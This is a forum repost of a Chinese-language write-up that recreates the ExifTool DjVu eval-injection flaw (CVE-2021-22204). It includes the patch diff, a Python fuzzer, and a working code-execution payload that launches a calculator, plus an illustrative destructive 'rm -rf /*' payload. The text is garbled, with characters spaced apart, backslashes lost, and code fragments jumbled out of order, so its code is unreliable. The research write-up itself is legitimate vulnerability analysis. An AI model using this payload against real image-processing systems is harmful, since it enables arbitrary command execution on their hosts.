搜索

[28978] 2021-06-02_CVE-2021-22204-在ExifTool中重新创建严重错误

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-06-02_CVE-2021-22204-在ExifTool中重新创建严重错误 C V E - 2 0 2 1 - 2 2 2 0 4 - 在 E x i f T o o l 中 重 新 创 建 严 重 错 误 O t s 安 全   2 0 2 1 - 0 6 - 0 2 错 误 在 4 月 2 4 日 凌 晨 ， 推 文 显 示 了 E x i f t o o l 在 简 单 图 像 上 运 行 如 何 导 致 任 意 代 码 执 行 。 这 引 起 了 我 的 兴 趣 ， 因 为   E x i f t o o l   不 仅 在   C T F   挑 战 中 非 常 常 见 ， 而 且 还 用 于 需 要 显 示   E x i f   数 据 的 大 量 软 件 中 。 该 漏 洞 利 用 的 概 念 证 明 代 码 尚 未 公 开 ， 因 此 我 着 手 撤 消 该 安 全 补 丁 并 找 到 一 种 利 用 该 漏 洞 的 方 法 。 检 查 补 丁 让 我 们 从 修 补 版 本 （ 1 2 . 2 4 ） 的 发 行 说 明 开 始 。 我 们 将 准 确 找 到 有 关 此 版 本 中 已 修 复 的 安 全 问 题 的 条 目 。 有 了 这 些 信 息 ， 我 们 可 以 检 查 版 本 1 2 . 2 3 和 版 本 1 2 . 2 4 之 间 的 g i t   d i f f 。 更 具 体 地 说 ， 让 我 们 看 一 下 对 l i b / I m a g e / E x i f t o o l / D j V u . p m 处 理 D j V u 数 据 的 P e r l 模 块 的 更 改 。 好 了 ， 在 这 一 点 上 ， 我 们 知 道 两 件 事 ： 有 一 个 可 怕 的 e v a l 注 射 。 该 错 误 位 于 函 数 中 的 这 两 行 代 码 中 P a r s e A n t 。 但 是 ， 在 我 们 深 入 研 究 补 丁 之 前 ， D j V u 文 件 还 算 什 么 ？ D j V u 是 一 种 文 档 格 式 ， 有 点 类 似 于 P D F 。 它 不 是 很 常 用 ， 但 它 有 许 多 不 同 的 注 释 和 元 数 据 字 段 ， E x i f t o o l   可 以 解 析 它 们 。 创 建   D j V u   文 件 要 创 建   D j V u   文 件 ， 我 们 将 在   L i n u x   上 使 用   D j V u   L i b r e   套 件 。 文 件 的 内 容 并 不 重 要 ， 我 们 只 关 心 附 加 的 元 数 据 。 首 先 ， 我 们 创 建 一 个 包 含 以 下 内 容 的 文 本 文 件 ： 然 后 使 用 文 本 文 件 作 为 注 释 数 据 ， 制 作 一 个 新 的 空 D j V u 文 件 ： 当 我 们 现 在 用   E x i f t o o l   解 析 这 个 文 件 时 ， 我 们 会 看 到 “ H e l l o   W o r l d ! ”   在 输 出 中 注 意 。 走 幸 福 之 路 在 我 们 尝 试 提 供   E x i f t o o l   无 效 数 据 之 前 ， 让 我 们 弄 清 楚 如 何 解 析 这 些 元 数 据 。 该 D j V u . p m 模 块 首 先 使 用 以 下 代 码 段 检 查 文 件 中 是 否 有 任 何 注 释 ： A p r .   1 3 ,   2 0 2 1   -   V e r s i o n   1 2 . 2 4   [ . . . ]     -   P a t c h e d   s e c u r i t y   v u l n e r a b i l i t y   i n   D j V u   r e a d e r   [ . . . ] - - -   a / l i b / I m a g e / E x i f T o o l / D j V u . p m + + +   b / l i b / I m a g e / E x i f T o o l / D j V u . p m @ @   - 2 2 7 , 1 0   + 2 2 7 , 1 1   @ @   T o k :   f o r   ( ; ; )   {                                   l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;                                   $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g                           } -                         #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g -                         $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; -                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) -                         $ t o k   =   e v a l   q q { " $ t o k " } ; +                         #   c o n v e r t   C   e s c a p e   s e q u e n c e s ,   a l l o w e d   i n   q u o t e d   t e x t +                         #   ( n o t e :   t h i s   o n l y   c o n v e r t s   a   f e w   o f   t h e m ! ) +                         m y   % e s c   =   (   a   = >   " a " ,   b   = >   " b " ,   f   = >   " f " ,   n   = >   " n " , +                                                 r   = >   " r " ,   t   = >   " t " ,   ' " '   = >   ' " ' ,   ' '   = >   ' '   ) ; +                         $ t o k   = ~   s / ( . ) / $ e s c { $ 1 } | | ' ' . $ 1 / e g s ;                   }   e l s e   {                                 #   k e y   n a m e                           p o s ( $ $ d a t a P t )   =   p o s ( $ $ d a t a P t )   -   1 ;                           #   a l l o w   a n y t h i n g   i n   k e y   b u t   w h i t e s p a c e ,   b r a c e s   a n d   d o u b l e   q u o t e s ( m e t a d a t a     ( n o t e   " H e l l o   W o r l d ! " ) ) d j v u m a k e   t e s t . d j v u   I N F O = 0 , 0   B G j p = / d e v / n u l l   A N T a = a n n o t a t i o n - f i l e . t x t s u b   P r o c e s s A n t ( $ $ $ ) {         #   . . .   <   s n i p   >   . . .         #   q u i c k   p r e - s c a n   t o   c h e c k   f o r   m e t a d a t a   o r   X M P         r e t u r n   1   u n l e s s   $ $ d a t a P t   = ~   / ( s * ( m e t a d a t a | x m p ) [ s ( " ] / s ;         #   p a r s e   a n n o t a t i o n s   i n t o   a   t r e e   s t r u c t u r e
只 要 我 们 的 注 释 文 件 以 ( x m p   或 开 头 ( m e t a d a t a   ， 我 们 就 会 到 达 易 受 攻 击 的 P a r s e A n t   函 数 。 此 函 数 将 提 取 单 个 “ 令 牌 ” ， 并 返 回 元 数 据 。 漏 洞 评 估 评 估 由 于 我 们 知 道 更 改 的 确 切 内 容 ， 因 此 很 容 易 确 定 漏 洞 。 一 旦 P a r s e A n t 在 双 引 号 中 找 到 一 个 字 符 串 （ 保 存 在   中 $ t o k ） ， 它 就 会 执 行 以 下 代 码 行 ： 所 述 q q 操 作 者 增 加 了 额 外 的 一 组 引 号 ， 导 致 被 包 括 在 内 的 报 价 e v a l 。 这 怎 么 可 能 被 利 用 ？ 好 吧 ， 如 果 $ t o k 可 以 包 含 引 号 ， 那 么 攻 击 者 可 能 会 将 以 下 有 效 负 载 传 递 给 e v a l ： 这 将 r m   - r f   / * 用 两 个 空 字 符 串 连 接 （ 。 ） 的 输 出 。 对 我 们 来 说 可 悲 的 是 ， $ t o k 过 滤 器 试 图 阻 止 这 种 攻 击 ， 所 以 我 们 不 能 简 单 地 加 上 引 号 。 过 滤 器 旁 路 我 们 需 要 找 到 一 种 方 法 来 将 引 用 走 私 到 e v a l 语 句 中 而 不 会 被 转 义 。 以 下 代 码 段 负 责 查 找 要 传 递 给 的 子 字 符 串 e v a l 。 如 果 您 不 太 熟 悉 P e r l ， 可 能 很 难 读 懂 ， 但 是 基 本 思 想 如 下 ： 1 .   循 环 播 放 所 有 字 符 。 2 .   如 果 找 到 双 引 号 ， 则 开 始 构 建 子 字 符 串 。 3 .   在 子 字 符 串 的 下 一 个 非 转 义 双 引 号 处 将 其 终 止 e v a l 。 如 果 您 熟 悉   P e r l ， 您 也 许 能 够 直 接 发 现 错 误 。 作 为 P e r l 新 手 ， 我 很 难 手 动 找 到 过 滤 器 旁 路 。 相 反 ， 我 制 作 了 一 个 简 单 的 P y t h o n 模 糊 测 试 程 序 来 查 找 转 义 符 。 我 们 可 以 做 一 个 我 们 可 以 做 一 个   f u z z e r   p o p   c a l c   吗 ？ 吗 ？ 首 先 ， 让 我 们 什 么 我 们 的 有 效 载 荷 原 因 必 须 样 子 。 我 们 知 道 它 必 须 首 先 ( x m p   " 触 发 e v a l 我 们 感 兴 趣 的 代 码 。 除 此 之 外 ， 我 们 需 要 在 中 间 添 加 某 种 有 效 负 载 ， 并 在 其 后 添 加 一 些 其 他 转 义 字 符 。 有 了 这 些 信 息 ， 我 们 可 以 构 建 以 下 模 板 字 符 串 ： 接 下 来 ， 我 们 创 建 一 些 辅 助 函 数 来 创 建   D j V u   文 件 并 使 用   E x i f t o o l   对 其 进 行 解 析 。         #   p a r s e   a n n o t a t i o n s   i n t o   a   t r e e   s t r u c t u r e         p o s ( $ $ d a t a P t )   =   0 ;         m y   $ t o k s   =   P a r s e A n t ( $ d a t a P t )   o r   r e t u r n   0 ;         #   . . .   <   s n i p   >   . . . } #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ; #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t ) $ t o k   =   e v a l   q q { " $ t o k " } ; #   $ t o k   =   ' "   .   ` r m   - r f     / * `   . " ' $ t o k   =   e v a l   q q { " "   .   ` r m   - r f     / * `   .   " " } ; T o k :   f o r   ( ; ; )   {         #   f i n d   t h e   n e x t   t o k e n         l a s t   u n l e s s   $ $ d a t a P t   = ~   / ( S ) / s g ;       #   g e t   n e x t   n o n - s p a c e   c h a r a c t e r         i f   ( $ 1   e q   ' ( ' )   {               #   s t a r t   o f   l i s t                 #   . . .   <   s n i p   >   . . .         }   e l s i f   ( $ 1   e q   ' " ' )   {     #   q u o t e d   s t r i n g                 $ t o k   =   ' ' ;                 f o r   ( ; ; )   {                         #   g e t   s t r i n g   u p   t o   t h e   n e x t   q u o t a t i o n   m a r k                         m y   $ p o s   =   p o s ( $ $ d a t a P t ) ;                         l a s t   T o k   u n l e s s   $ $ d a t a P t   = ~   / " / s g ;                         $ t o k   . =   s u b s t r ( $ $ d a t a P t ,   $ p o s ,   p o s ( $ $ d a t a P t ) - 1 - $ p o s ) ;                         #   w e ' r e   g o o d   u n l e s s   q u o t e   w a s   e s c a p e d   b y   o d d   n u m b e r   o f   b a c k s l a s h e s                         l a s t   u n l e s s   $ t o k   = ~   / ( + ) $ /   a n d   l e n g t h ( $ 1 )   &   0 x 0 1 ;                         $ t o k   . =   ' " ' ;         #   q u o t e   i s   p a r t   o f   t h e   s t r i n g                 }                 #   m u s t   p r o t e c t   u n e s c a p e d   " $ "   a n d   " @ "   s y m b o l s ,   a n d   " "   a t   e n d   o f   s t r i n g                 $ t o k   = ~   s { ( . ) | ( [ $ @ ] | $ ) } { ' ' . ( $ 2   | |   $ 1 ) } s g e ;                 #   c o n v e r t   C   e s c a p e   s e q u e n c e s   ( a l l o w e d   i n   q u o t e d   t e x t )                 $ t o k   =   e v a l   q q { " $ t o k " } ;         }   e l s e   {                 #   . . .   < s n i p >   . . .         }         #   . . .   < s n i p >   . . . } T E M P L A T E   =   r " ( x m p   " { } ` m a t e - c a l c ` { } " d e f   g e t _ d a t a ( ) :         k 1   =   r a n d o m . r a n d i n t ( 0 ,   1 0 )         k 2   =   r a n d o m . r a n d i n t ( 0 ,   1 0 )         #   S p e c i a l   c h a r a c t e r s   t h a t   m a y   h i t   e d g e   c a s e s .         a l p h     =   " " . + * n "         #   P i c k   s o m e   r a n d o m   c h a r a c t e r s   t o   i n s e r t   i n t o   o u r   t e m p l a t e .         b e f o r e   =   ' ' . j o i n ( r a n d o m . c h o i c e s ( a l p h ,   k = k 1 ) )         a f t e r     =   ' ' . j o i n ( r a n d o m . c h o i c e s ( a l p h ,   k = k 2 ) )         r e t u r n   T E M P L A T E . f o r m a t ( b e f o r e ,   a f t e r ) . e n c o d e ( ) d e f   d o _ f u z z _ c a s e ( ) :
现 在 剩 下 的 就 是 一 遍 又 一 遍 地 调 用 此 函 数 ， 直 到 获 得 有 趣 的 输 出 。 这 个 模 糊 器 不 是 非 常 复 杂 2 ， 每 秒 只 会 产 生 几 个 执 行 程 序 。 尽 管 如 此 ， 它 会 在 几 分 钟 内 开 始 产 生 有 趣 的 错 误 ： 在 我 看 来 ， 最 后 一 次 崩 溃 是 最 容 易 理 解 的 ， 最 终 对 我 重 新 创 建 漏 洞 利 用 帮 助 最 大 ， 所 以 它 似 乎 是 一 个 很 好 的 起 点 。 最 小 化 崩 溃 文 件 后 ， 我 们 得 到 以 下 注 释 数 据 ： 警 告 告 诉 我 们 ， 我 们 e v a l 试 图 将 换 行 符 与 s o m e t h i n g 相 乘 。 这 看 起 来 很 有 希 望 ！ 如 果 我 们 能 做 乘 法 ， 我 们 就 突 破 了 双 引 号 ， 可 以 执 行   P e r l   代 码 了 。 现 在 我 们 需 要 做 的 就 是 用 字 符 串 连 接 替 换 乘 法 并 执 行 一 个   s h e l l   命 令 ： 那 么 ， 这 种 旁 路 是 如 何 工 作 的 呢 ？ 那 么 ， 这 种 旁 路 是 如 何 工 作 的 呢 ？ 绕 过 依 赖 于 以 下 行 ， 该 行 确 定 在 何 处 “ 削 减 ” 令 牌 ： 正 则 表 达 式 用 于 检 查 当 前 子 字 符 串 是 否 以 奇 数 个 反 斜 杠 结 尾 。 如 果 是 这 样 ， 则 假 定 刚 刚 找 到 的 引 号 已 被 正 确 转 义 ， 并 且 应 该 是 元 数 据 的 一 部 分 。 当 引 号 前 的 最 后 两 个 字 符 为 反 斜 杠 和 换 行 符 时 ， 此 逻 辑 将 失 效 。 正 则 表 达 式 将 看 到 n 并 “ 认 为 ” 它 匹 配 。 即 使 反 斜 杠 实 际 上 转 义 了 换 行 符 而 不 是 引 号 ， 这 也 会 导 致 引 号 包 含 在 子 字 符 串 中 。 此 时 ， 我 们 已 经 脱 离 了 字 符 串 上 下 文 ， 可 以 开 始 执 行 任 意   P e r l   代 码 了 。 最 后 ， 我 们 需 要 以 一 个 转 义 的 引 号 结 束 我 们 的 有 效 负 载 ， 然 后 是 一 个 真 实 的 引 号 以 结 束 此 令 牌 。 1 .   这 篇 文 章 写 于   4   月   2 6   日 ， 但 直 到   5   月   1 1   日 在 初 步 报 告 发 布 后 才 公 开 。 ↩ 2 .   事 实 上 ， 这 可 能 是 我 写 过 的 最 糟 糕 的   f u z z e r 。 它 是 单 线 程 的 ， 在 每 个 f u z z 情 况 下 两 次 击 中 磁 盘 ， 打 印 到 s t d o u t ， …   ↩         #   C r e a t e   a n   a n n o t a t i o n   f i l e         w i t h   o p e n ( " f u z z - a n n o t a t i o n . t x t " ,   " w b " )   a s   a n t _ f i l e :                 d a t a   =   g e t _ d a t a ( )                 a n t _ f i l e . w r i t e ( d a t a )         #   E m b e d   i t   i n   a   n e w   D j V u   f i l e         p   =   P o p e n ( [ " d j v u m a k e " ,   " f u z z . d j v u " ,   " I N F O = 0 , 0 " ,   " B G j p = / d e v / n u l l " ,                                 " A N T a = f u z z - a n n o t a t i o n . t x t " ] )         t r y :     #   d j v u m a k e   w o u l d   s o m e t i m e s   g e t   s t u c k ,   s o   I   a d d e d   a   s m a l l   t i m e o u t .                 p . c o m m u n i c a t e ( t i m e o u t = 0 . 8 )         e x c e p t :                 r e t u r n   F a l s e         #   P a r s e   t h e   D j V u   f i l e   w i t h   E x i f t o o l         p   =   P o p e n ( [ " . / e x i f t o o l / e x i f t o o l " ,   " f u z z . d j v u " ] ,   s t d o u t = P I P E ,   s t d e r r = P I P E )         s t d o u t ,   s t d e r r   =   p . c o m m u n i c a t e ( )         #   I f   E x i f t o o l   r e t u r n e d   a   w a r n i n g ,   p r i n t   t h e   f u z z   c a s e   t h a t   c a u s e d   i t .         i f   s t d e r r :                 p r i n t ( f " > > > { d a t a } < < < " ,   s t d e r r ) > > > b ' ( x m p   " n " * " " . " ` m a t e - c a l c ` n ' < < <   b ' B a c k s l a s h   f o u n d   w h e r e   o p e r a t o r   e x p e c t e d   a t   ( e v a l   8 )   l i n e   2 ,   n e a r   " " n " " n t ( M i s s i n g   o p e r a t o r   b e f o r e   ? ) n ' > > > b ' ( x m p   " n " + * * n ` m a t e - c a l c ` " " " n ? " . " ' < < <   b ' S t r i n g   f o u n d   w h e r e   o p e r a t o r   e x p e c t e d   a t   ( e v a l   8 )   l i n e   3 ,   a t   e n d   o f   l i n e n t ( M i s s i n g   s e m i c o l o n   o n   p r e v i o u s   l i n e ? ) n ' > > > b ' ( x m p   " + " n " * " " ` m a t e - c a l c ` " + * + " . . ' < < <   b ' A r g u m e n t   " + " n "   i s n ' t   n u m e r i c   i n   m u l t i p l i c a t i o n   ( * )   a t   ( e v a l   8 )   l i n e   1 . n ' ( x m p   " " * " " A r g u m e n t   " n "   i s n ' t   n u m e r i c   i n   m u l t i p l i c a t i o n   ( * )   a t   ( e v a l   8 )   l i n e   1 . ( x m p   " "   .   ` m a t e - c a l c `   .   " "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理